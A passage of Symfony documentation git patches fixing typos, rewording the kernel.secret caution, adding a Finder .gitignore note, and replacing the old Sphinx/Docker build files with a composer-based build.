--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -17,10 +17,6 @@ element.
 +---------------------------+---------------------------------------------------------------------+
 | Rendered as               | ``input`` ``color`` field (a text box)                              |
 +---------------------------+---------------------------------------------------------------------+
-| Options                   | - `html5`_                                                          |
-+---------------------------+---------------------------------------------------------------------+
-| Overridden options        | - `invalid_message`_                                                |
-+---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
 | Legacy invalid message    | The value {{ value }} is not valid.                                 |

From c664836c786b27f200754d639d07f9922964a376 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Nov 2021 13:20:07 +0100
Subject: [PATCH 1313/5766] Reword

---
 reference/configuration/framework.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f2a0c9b6483..e26dd44d07e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -37,14 +37,11 @@ used to add more entropy to security related operations. Its value should
 be a series of characters, numbers and symbols chosen randomly and the
 recommended length is around 32 characters.
 
-.. caution::
-
-    This configuration option's value is a real secret. You should treat it
-    with a lot of care.
-
 In practice, Symfony uses this value for encrypting the cookies used
 in the :doc:`remember me functionality </security/remember_me>` and for
 creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
+That's why you should treat this value as if it were a sensitive credential and
+**never make it public**.
 
 This option becomes the service container parameter named ``kernel.secret``,
 which you can use whenever the application needs an immutable random string

From 544bcf987a34ee7a3a7c9e76af8ad1900e6ddf58 Mon Sep 17 00:00:00 2001
From: Julien Falque <julien.falque@gmail.com>
Date: Tue, 2 Nov 2021 17:59:25 +0100
Subject: [PATCH 1314/5766] [Finder] Add note about .gitignore rules precedence

---
 components/finder.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index eac3e20d8da..c0cecfa0032 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -148,6 +148,14 @@ can reuse those rules to exclude files and directories from the results with the
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
+Rules from higher levels will be overridden by those in lower levels.
+
+.. note::
+
+    Only ``.gitignore`` files from search directories and their descendants are
+    read. Files from parent directories are ignored. To be consistent with Git
+    behavior, you should explicitly search from the Git repository root.
+
 .. versionadded:: 5.4
 
     ``.gitignore`` files recursive support was introduced in Symfony 5.4.

From 0058d87331a16f720233cdb15265db18b105a09b Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 21:07:53 +0100
Subject: [PATCH 1315/5766] =?UTF-8?q?Typo=20fix=20:=20cace=20=E2=9E=A4=20c?=
 =?UTF-8?q?ache?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index cbfc178da54..6a096b714c5 100644
--- a/cache.rst
+++ b/cache.rst
@@ -371,7 +371,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             return function(ContainerConfigurator $configurator) {
                 $services = $configurator->services();
 
-                $services->set('app.cace.adapter.redis')
+                $services->set('app.cache.adapter.redis')
                     ->parent('cache.adapter.redis')
                     ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
             };

From 9db79de5b08a5e7c0672d7973eebfa397e0351a0 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 21:42:29 +0100
Subject: [PATCH 1316/5766] =?UTF-8?q?Typo=20fix=20:=20failes=20=E2=9E=A4?=
 =?UTF-8?q?=20fails?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 _build/maintainer_guide.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 8485bc3191d..7e5cbc8caba 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -356,7 +356,7 @@ Merging while the target branch changed
 .......................................
 
 Sometimes, someone else merges a PR in ``5.x`` at the same time as you are
-doing it. In these cases, ``gh merge ...`` failes to push. Solve this by
+doing it. In these cases, ``gh merge ...`` fails to push. Solve this by
 resetting your local branch and restarting the merge:
 
 .. code-block:: terminal

From 249c86dbf22df38bbbf9b9c9c3a1d47edfec8563 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 21:52:33 +0100
Subject: [PATCH 1317/5766] =?UTF-8?q?Typo=20fix=20:=20distrupting=20?=
 =?UTF-8?q?=E2=9E=A4=20disrupting?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 86d4e9a6fa0..6720fb9a6e1 100644
--- a/security.rst
+++ b/security.rst
@@ -1476,7 +1476,7 @@ By default, login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an
 attacker using multiple usernames from bypassing the first limit, without
-distrupting normal users on big networks (such as offices).
+disrupting normal users on big networks (such as offices).
 
 .. tip::
 

From 786989297118424ad47bc271c6e783859415be2d Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Tue, 2 Nov 2021 22:02:00 +0100
Subject: [PATCH 1318/5766] =?UTF-8?q?Typo=20fixes=20:=20Remove=20extra=20"?=
 =?UTF-8?q?s"=20+=20througth=20=E2=9E=A4=20through?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 70e62b62263..de422ca6792 100644
--- a/session.rst
+++ b/session.rst
@@ -131,7 +131,7 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The sessions is available througth the Request and the RequestStack.
+The session is available through the Request and the RequestStack.
 Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
 :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::

From 4a79e18f6b31dc202979c6c7a93db306a97a72de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Nov 2021 15:45:47 +0100
Subject: [PATCH 1319/5766] Update the instructions to build docs

---
 .dockerignore                              |   8 -
 .gitignore                                 |   5 -
 Dockerfile                                 |  20 -
 README.markdown                            |  37 +-
 _build/.requirements.txt                   |   6 -
 _build/Makefile                            | 153 -------
 _build/_exts/symfonycom/__init__.py        |   0
 _build/_exts/symfonycom/sphinx/__init__.py |  86 ----
 _build/_exts/symfonycom/sphinx/lexer.py    |  23 -
 _build/_static/rtd_custom.css              |  23 -
 _build/_static/symfony-logo.svg            |   1 -
 _build/build.php                           |  53 ++-
 _build/composer.json                       |   6 +-
 _build/composer.lock                       | 499 ++++++++++++++-------
 _build/conf.py                             | 301 -------------
 _build/make.bat                            | 263 -----------
 _images/docs-pull-request-change-base.png  | Bin 5849 -> 0 bytes
 docs.json                                  |   3 -
 18 files changed, 381 insertions(+), 1106 deletions(-)
 delete mode 100644 .dockerignore
 delete mode 100644 Dockerfile
 delete mode 100644 _build/.requirements.txt
 delete mode 100644 _build/Makefile
 delete mode 100644 _build/_exts/symfonycom/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/lexer.py
 delete mode 100644 _build/_static/rtd_custom.css
 delete mode 100644 _build/_static/symfony-logo.svg
 delete mode 100644 _build/conf.py
 delete mode 100644 _build/make.bat
 delete mode 100644 _images/docs-pull-request-change-base.png
 delete mode 100644 docs.json

diff --git a/.dockerignore b/.dockerignore
deleted file mode 100644
index 7d3ce5c0c44..00000000000
--- a/.dockerignore
+++ /dev/null
@@ -1,8 +0,0 @@
-/.git
-/_build/doctrees
-/_build/spelling
-/_build/html
-/_build/logs.txt
-/_build/vendor
-/_build/output
-*.pyc
diff --git a/.gitignore b/.gitignore
index 1d25940e5c8..b69047f69a1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,2 @@
-/_build/doctrees
-/_build/spelling
-/_build/html
-/_build/logs.txt
 /_build/vendor
 /_build/output
-*.pyc
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index 3995b8ff70a..00000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,20 +0,0 @@
-FROM python:2-alpine as builder
-
-WORKDIR /www
-
-COPY ./_build/.requirements.txt _build/
-
-RUN apk add \
-    git \
-    make
-
-RUN pip install pip==9.0.1 wheel==0.29.0 \
-    && pip install -r _build/.requirements.txt
-
-COPY . /www
-
-RUN make -C _build html
-
-FROM nginx:alpine
-
-COPY --from=builder /www/_build/html /usr/share/nginx/html
diff --git a/README.markdown b/README.markdown
index f65392efba3..2139c1599ac 100644
--- a/README.markdown
+++ b/README.markdown
@@ -19,34 +19,27 @@
 Contributing
 ------------
 
-We love contributors! For more information on how you can contribute to the
-Symfony documentation, please read
-[Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
+We love contributors! For more information on how you can contribute, please read
+the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
-> **Note**
-> All pull requests must be based on the ``4.4`` branch,
-> unless you are documenting a feature that was introduced *after* Symfony 4.4
-> (e.g. in Symfony 5.2), **not** the ``5.x`` or older branches.
+**Important**: use `4.4` branch as the base of your pull requests, unless you are
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.2).
 
-SymfonyCloud
-------------
+Build Documentation Locally
+---------------------------
 
-Thanks to [SymfonyCloud](https://symfony.com/cloud) for providing an integration
-server where Pull Requests are built and can be reviewed by contributors.
+This is not needed for contributing, but it's useful if you want to debug some
+issue in the docs or if you want to read Symfony Documentation offline.
 
-Docker
-------
+```bash
+$ git clone git@github.com:symfony/symfony-docs.git
 
-You can build the documentation project locally with these commands:
+$ cd symfony-docs/
+$ cd _build/
 
-```bash
-# build the image...
-$ docker build . -t symfony-docs
+$ composer install
 
-# ...and start the local web server
-# (if it's already in use, change the '8080' port by any other port)
-$ docker run --rm -p 8080:80 symfony-docs
+$ php build.php
 ```
 
-You can now read the docs at http://127.0.0.1:8080 (if you use a virtual
-machine, browse its IP instead of localhost; e.g. `http://192.168.99.100:8080`).
+Now you can browse the docs at `_build/output/index.html`
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
deleted file mode 100644
index 47f076e9403..00000000000
--- a/_build/.requirements.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-docutils==0.13.1
-Pygments==2.2.0
-sphinx==1.8.5
-git+https://github.com/fabpot/sphinx-php.git@v2.0.0#egg_name=sphinx-php
-jsx-lexer===0.0.8
-sphinx_rtd_theme==0.5.0
diff --git a/_build/Makefile b/_build/Makefile
deleted file mode 100644
index 25b660056fe..00000000000
--- a/_build/Makefile
+++ /dev/null
@@ -1,153 +0,0 @@
-# Makefile for Sphinx documentation
-#
-
-# You can set these variables from the command line.
-SPHINXOPTS    =
-SPHINXBUILD   = sphinx-build
-PAPER         =
-BUILDDIR      = .
-
-# Internal variables.
-PAPEROPT_a4     = -D latex_paper_size=a4
-PAPEROPT_letter = -D latex_paper_size=letter
-ALLSPHINXOPTS   = -c $(BUILDDIR) -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) ../
-# the i18n builder cannot share the environment and doctrees with the others
-I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
-
-.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
-
-help:
-	@echo "Please use \`make <target>' where <target> is one of"
-	@echo "  html       to make standalone HTML files"
-	@echo "  dirhtml    to make HTML files named index.html in directories"
-	@echo "  singlehtml to make a single large HTML file"
-	@echo "  pickle     to make pickle files"
-	@echo "  json       to make JSON files"
-	@echo "  htmlhelp   to make HTML files and a HTML help project"
-	@echo "  qthelp     to make HTML files and a qthelp project"
-	@echo "  devhelp    to make HTML files and a Devhelp project"
-	@echo "  epub       to make an epub"
-	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
-	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
-	@echo "  text       to make text files"
-	@echo "  man        to make manual pages"
-	@echo "  texinfo    to make Texinfo files"
-	@echo "  info       to make Texinfo files and run them through makeinfo"
-	@echo "  gettext    to make PO message catalogs"
-	@echo "  changes    to make an overview of all changed/added/deprecated items"
-	@echo "  linkcheck  to check all external links for integrity"
-	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
-
-clean:
-	-rm -rf $(BUILDDIR)/*
-
-html:
-	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
-
-dirhtml:
-	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
-
-singlehtml:
-	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
-	@echo
-	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
-
-pickle:
-	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
-	@echo
-	@echo "Build finished; now you can process the pickle files."
-
-json:
-	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
-	@echo
-	@echo "Build finished; now you can process the JSON files."
-
-htmlhelp:
-	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
-	@echo
-	@echo "Build finished; now you can run HTML Help Workshop with the" \
-	      ".hhp project file in $(BUILDDIR)/htmlhelp."
-
-qthelp:
-	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
-	@echo
-	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
-	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
-	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Symfony.qhcp"
-	@echo "To view the help file:"
-	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Symfony.qhc"
-
-devhelp:
-	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
-	@echo
-	@echo "Build finished."
-	@echo "To view the help file:"
-	@echo "# mkdir -p $$HOME/.local/share/devhelp/Symfony"
-	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Symfony"
-	@echo "# devhelp"
-
-epub:
-	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
-	@echo
-	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
-
-latex:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo
-	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
-	@echo "Run \`make' in that directory to run these through (pdf)latex" \
-	      "(use \`make latexpdf' here to do that automatically)."
-
-latexpdf:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo "Running LaTeX files through pdflatex..."
-	$(MAKE) -C $(BUILDDIR)/latex all-pdf
-	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
-
-text:
-	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
-	@echo
-	@echo "Build finished. The text files are in $(BUILDDIR)/text."
-
-man:
-	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
-	@echo
-	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
-
-texinfo:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo
-	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
-	@echo "Run \`make' in that directory to run these through makeinfo" \
-	      "(use \`make info' here to do that automatically)."
-
-info:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo "Running Texinfo files through makeinfo..."
-	make -C $(BUILDDIR)/texinfo info
-	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
-
-gettext:
-	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
-	@echo
-	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
-
-changes:
-	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
-	@echo
-	@echo "The overview file is in $(BUILDDIR)/changes."
-
-linkcheck:
-	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
-	@echo
-	@echo "Link check complete; look for any errors in the above output " \
-	      "or in $(BUILDDIR)/linkcheck/output.txt."
-
-doctest:
-	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
-	@echo "Testing of doctests in the sources finished, look at the " \
-	      "results in $(BUILDDIR)/doctest/output.txt."
diff --git a/_build/_exts/symfonycom/__init__.py b/_build/_exts/symfonycom/__init__.py
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/_build/_exts/symfonycom/sphinx/__init__.py b/_build/_exts/symfonycom/sphinx/__init__.py
deleted file mode 100644
index 4a61e711809..00000000000
--- a/_build/_exts/symfonycom/sphinx/__init__.py
+++ /dev/null
@@ -1,86 +0,0 @@
-from pygments.style import Style
-from pygments.token import Keyword, Name, Comment, String, Error, \
-     Number, Operator, Generic, Whitespace, Punctuation, Other, Literal
-
-class SensioStyle(Style):
-    background_color = "#000000"
-    default_style = ""
-
-    styles = {
-        # No corresponding class for the following:
-        #Text: "", # class: ''
-        Whitespace: "underline #f8f8f8", # class: 'w'
-        Error: "#a40000 border:#ef2929", # class: 'err'
-        Other: "#ffffff", # class 'x'
-
-    Comment: "italic #B729D9", # class: 'c'
-    Comment.Single: "italic #B729D9", # class: 'c1'
-    Comment.Multiline: "italic #B729D9", # class: 'cm'
-    Comment.Preproc: "noitalic #aaa", # class: 'cp'
-
-    Keyword: "#FF8400", # class: 'k'
-        Keyword.Constant: "#FF8400", # class: 'kc'
-        Keyword.Declaration: "#FF8400", # class: 'kd'
-        Keyword.Namespace: "#FF8400", # class: 'kn'
-        Keyword.Pseudo: "#FF8400", # class: 'kp'
-        Keyword.Reserved: "#FF8400", # class: 'kr'
-        Keyword.Type: "#FF8400", # class: 'kt'
-
-    Operator: "#E0882F", # class: 'o'
-    Operator.Word: "#E0882F", # class: 'ow' - like keywords
-
-    Punctuation: "#999999", # class: 'p'
-
-        # because special names such as Name.Class, Name.Function, etc.
-        # are not recognized as such later in the parsing, we choose them
-        # to look the same as ordinary variables.
-        Name: "#ffffff", # class: 'n'
-    Name.Attribute: "#ffffff", # class: 'na' - to be revised
-    Name.Builtin: "#ffffff", # class: 'nb'
-        Name.Builtin.Pseudo: "#3465a4", # class: 'bp'
-    Name.Class: "#ffffff", # class: 'nc' - to be revised
-        Name.Constant: "#ffffff", # class: 'no' - to be revised
-        Name.Decorator: "#888", # class: 'nd' - to be revised
-        Name.Entity: "#ce5c00", # class: 'ni'
-        Name.Exception: "#cc0000", # class: 'ne'
-    Name.Function: "#ffffff", # class: 'nf'
-        Name.Property: "#ffffff", # class: 'py'
-        Name.Label: "#f57900", # class: 'nl'
-        Name.Namespace: "#ffffff", # class: 'nn' - to be revised
-    Name.Other: "#ffffff", # class: 'nx'
-    Name.Tag: "#cccccc", # class: 'nt' - like a keyword
-    Name.Variable: "#ffffff", # class: 'nv' - to be revised
-        Name.Variable.Class: "#ffffff", # class: 'vc' - to be revised
-        Name.Variable.Global: "#ffffff", # class: 'vg' - to be revised
-        Name.Variable.Instance: "#ffffff", # class: 'vi' - to be revised
-
-    Number: "#1299DA", # class: 'm'
-
-        Literal: "#ffffff", # class: 'l'
-        Literal.Date: "#ffffff", # class: 'ld'
-
-        String: "#56DB3A", # class: 's'
-        String.Backtick: "#56DB3A", # class: 'sb'
-        String.Char: "#56DB3A", # class: 'sc'
-    String.Doc: "italic #B729D9", # class: 'sd' - like a comment
-        String.Double: "#56DB3A", # class: 's2'
-        String.Escape: "#56DB3A", # class: 'se'
-        String.Heredoc: "#56DB3A", # class: 'sh'
-        String.Interpol: "#56DB3A", # class: 'si'
-        String.Other: "#56DB3A", # class: 'sx'
-        String.Regex: "#56DB3A", # class: 'sr'
-    String.Single: "#56DB3A", # class: 's1'
-        String.Symbol: "#56DB3A", # class: 'ss'
-
-        Generic: "#ffffff", # class: 'g'
-        Generic.Deleted: "#a40000", # class: 'gd'
-        Generic.Emph: "italic #ffffff", # class: 'ge'
-        Generic.Error: "#ef2929", # class: 'gr'
-        Generic.Heading: "#000080", # class: 'gh'
-        Generic.Inserted: "#00A000", # class: 'gi'
-        Generic.Output: "#888", # class: 'go'
-        Generic.Prompt: "#745334", # class: 'gp'
-        Generic.Strong: "bold #ffffff", # class: 'gs'
-        Generic.Subheading: "bold #800080", # class: 'gu'
-        Generic.Traceback: "bold #a40000", # class: 'gt'
-    }
diff --git a/_build/_exts/symfonycom/sphinx/lexer.py b/_build/_exts/symfonycom/sphinx/lexer.py
deleted file mode 100644
index f1e87066236..00000000000
--- a/_build/_exts/symfonycom/sphinx/lexer.py
+++ /dev/null
@@ -1,23 +0,0 @@
-from pygments.lexer import RegexLexer, bygroups, using
-from pygments.token import *
-from pygments.lexers.shell import BashLexer, BatchLexer
-
-class TerminalLexer(RegexLexer):
-    name = 'Terminal'
-    aliases = ['terminal']
-    filenames = []
-
-    tokens = {
-        'root': [
-            ('^\$', Generic.Prompt, 'bash-prompt'),
-            ('^>', Generic.Prompt, 'dos-prompt'),
-            ('^#.+$', Comment.Single),
-            ('^.+$', Generic.Output),
-        ],
-        'bash-prompt': [
-            ('(.+)$', bygroups(using(BashLexer)), '#pop')
-        ],
-        'dos-prompt': [
-            ('(.+)$', bygroups(using(BatchLexer)), '#pop')
-        ],
-    }
diff --git a/_build/_static/rtd_custom.css b/_build/_static/rtd_custom.css
deleted file mode 100644
index 01298437755..00000000000
--- a/_build/_static/rtd_custom.css
+++ /dev/null
@@ -1,23 +0,0 @@
-body {
-	font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans,Geneva,Verdana,sans-serif !important;
-}
-
-h1, h2, h3, h4, h5, h6 {
-	font-family:Georgia,Times New Roman,Times,serif !important;
-	line-height:1.2 !important;
-	margin-top:0 !important;
-	margin-bottom:.5em !important;
-}
-p, .rst-content li{
-	font-size:14px !important;
-	line-height:1.45 !important;
-}
-.wy-menu-vertical a {
-	font-size:14px !important;
-	padding-right:0 !important;
-}
-
-.highlight {
-	background:#1e2125 !important;
-    color:#fafafa !important;
-}
diff --git a/_build/_static/symfony-logo.svg b/_build/_static/symfony-logo.svg
deleted file mode 100644
index 828c2b297b0..00000000000
--- a/_build/_static/symfony-logo.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="260" height="66" viewBox="0 0 260 66"><circle fill="#1A171B" cx="32.455" cy="32.665" r="32.455"/><path fill="#FFF" d="M46.644 12.219c-3.297.115-6.175 1.932-8.317 4.446-2.372 2.756-3.95 6.025-5.087 9.362-2.034-1.667-3.603-3.825-6.866-4.766-2.522-.724-5.171-.425-7.607 1.39-1.154.862-1.949 2.165-2.327 3.39-.979 3.183 1.029 6.016 1.941 7.033l1.994 2.137c.411.419 1.401 1.512.917 3.079-.523 1.704-2.577 2.807-4.684 2.157-.941-.287-2.293-.988-1.99-1.975.125-.404.414-.706.569-1.055.142-.3.21-.525.253-.657.385-1.257-.141-2.892-1.487-3.307-1.256-.385-2.541-.08-3.039 1.537-.565 1.837.314 5.171 5.023 6.623 5.517 1.695 10.184-1.309 10.846-5.227.417-2.454-.691-4.277-2.721-6.622l-1.654-1.829c-1.002-1.001-1.346-2.707-.309-4.018.875-1.106 2.121-1.578 4.162-1.023 2.979.809 4.307 2.876 6.523 4.543-.915 3.001-1.513 6.013-2.054 8.714l-.33 2.014c-1.584 8.308-2.793 12.87-5.935 15.489-.633.45-1.538 1.124-2.902 1.171-.715.022-.946-.47-.956-.684-.017-.502.406-.732.687-.958.42-.229 1.055-.609 1.012-1.826-.046-1.438-1.237-2.685-2.959-2.628-1.29.044-3.256 1.258-3.182 3.48.077 2.295 2.216 4.015 5.441 3.906 1.724-.059 5.574-.761 9.368-5.271 4.416-5.17 5.651-11.097 6.58-15.435l1.037-5.727c.576.069 1.192.115 1.862.131 5.5.116 8.251-2.733 8.292-4.805.027-1.254-.823-2.488-2.013-2.46-.852.024-1.922.591-2.179 1.769-.251 1.156 1.75 2.199.186 3.212-1.111.719-3.103 1.226-5.908.814l.51-2.819c1.041-5.346 2.325-11.922 7.196-12.082.355-.018 1.654.016 1.684.875.009.287-.062.36-.398 1.017-.342.512-.471.948-.455 1.449.047 1.365 1.085 2.262 2.586 2.208 2.01-.065 2.588-2.022 2.555-3.027-.081-2.361-2.57-3.853-5.865-3.745z"/><path fill="#1A171B" d="M196.782 23.534c7.48 0 12.499 5.407 12.499 12.887 0 7.048-5.116 12.886-12.499 12.886-7.435 0-12.55-5.838-12.55-12.886 0-7.48 5.018-12.887 12.55-12.887zm0 22.109c5.306 0 7.671-4.827 7.671-9.222 0-4.68-2.847-9.217-7.671-9.217-4.877 0-7.724 4.537-7.724 9.217.001 4.394 2.365 9.222 7.724 9.222zM183.61 25.825v-1.713h-6.518v-2.341c0-3.33.483-5.842 4.391-5.842.072 0 .149.005.224.008.008 0 .007-.012.016-.012 1.085.08 1.987-.804 2.048-1.887l.08-1.486c-.915-.146-1.884-.29-3.039-.29-6.709 0-8.255 3.91-8.255 9.896v1.955h-5.795v1.913c.149.99.996 1.752 2.031 1.752.006 0 .009.005.016.005h3.748V48.73h2.5l.006-.001c1.04 0 1.892-.779 2.03-1.779V27.783h4.538a2.052 2.052 0 0 0 1.979-1.958zm-60.435-1.713c-.008 0-.013.006-.024.006-.956 0-1.882.657-2.286 1.545l-6.244 18.82h-.096l-6.106-18.81c-.399-.893-1.329-1.555-2.291-1.555-.011 0-.015-.006-.024-.006h-3.164l8.351 22.977c.291.821.871 2.077.871 2.606 0 .483-1.353 6.08-5.409 6.08-.1 0-.201-.009-.3-.017-1.034-.057-1.815.665-1.989 1.779l-.124 1.57c.82.145 1.645.338 3.092.338 5.984 0 7.769-5.455 9.46-10.185l9.073-25.149h-2.79zm-28.843 5c-3.747-1.917-7.847-3.218-7.918-7.076.012-4.097 3.776-5.172 6.677-5.169.012-.002.024-.002.031-.002 1.26 0 2.268.125 3.251.34.013 0 .011-.016.027-.016 1.039.076 1.911-.737 2.034-1.762l.083-1.488c-1.902-.473-3.889-.712-5.619-.712-6.309.039-10.992 3.213-11.007 9.268.009 5.296 3.578 7.349 7.416 9.207 3.764 1.81 7.888 3.305 7.924 7.674-.023 4.56-4.423 6.241-7.455 6.247-1.773-.006-3.698-.449-5.32-.96-1.017-.168-1.851.729-1.982 1.917l-.138 1.327c2.23.72 4.517 1.348 6.815 1.348h.027c7.065-.051 12.557-2.869 12.578-10.185-.011-5.645-3.604-8.016-7.424-9.958zm68.623 19.617l.006-.001c.98 0 1.796-.687 2.004-1.604V32.947c0-5.358-2.267-9.413-8.546-9.413-2.219 0-5.934 1.257-7.623 4.779-1.306-3.331-4.15-4.779-7-4.779-3.619 0-6.082 1.303-7.816 4.152h-.099v-1.532a2.058 2.058 0 0 0-2.055-2.036c-.008 0-.014-.006-.022-.006h-2.169v24.617h2.456l.006-.001a2.06 2.06 0 0 0 2.059-2.059c0-.03.011-.042.016-.063v-10.28c0-4.585 1.834-9.122 6.467-9.122 3.669 0 4.396 3.811 4.396 6.853V48.73h2.49l.007-.001a2.05 2.05 0 0 0 2.037-1.873v-10.53c0-4.585 1.835-9.122 6.468-9.122 3.667 0 4.393 3.811 4.393 6.853V48.73h2.525zm70.113 0l.008-.001a2.054 2.054 0 0 0 2.049-1.964v-12.66c0-6.611-2.85-10.571-9.222-10.571-3.426 0-6.705 1.691-8.059 4.491h-.097v-1.839c0-.001-.004-.001-.004-.006a2.057 2.057 0 0 0-2.058-2.061c-.011 0-.015-.006-.022-.006h-2.311v24.617h2.493l.007-.001a2.05 2.05 0 0 0 2.038-1.895v-9.495c0-5.984 2.319-10.135 7.482-10.135 3.96.24 5.211 3.038 5.211 8.783v12.742h2.485zm24.428-24.617c-.011 0-.014.006-.026.006-.954 0-1.883.657-2.283 1.545l-6.242 18.82h-.102l-6.104-18.81c-.401-.893-1.331-1.555-2.293-1.555-.007 0-.015-.006-.021-.006h-3.164l8.351 22.977c.291.821.873 2.077.873 2.606 0 .483-1.355 6.08-5.41 6.08-.102 0-.201-.009-.301-.017-1.033-.057-1.815.665-1.99 1.779l-.122 1.57c.82.145 1.645.338 3.091.338 5.984 0 7.772-5.455 9.462-10.185l9.074-25.149h-2.793z"/></svg>
\ No newline at end of file
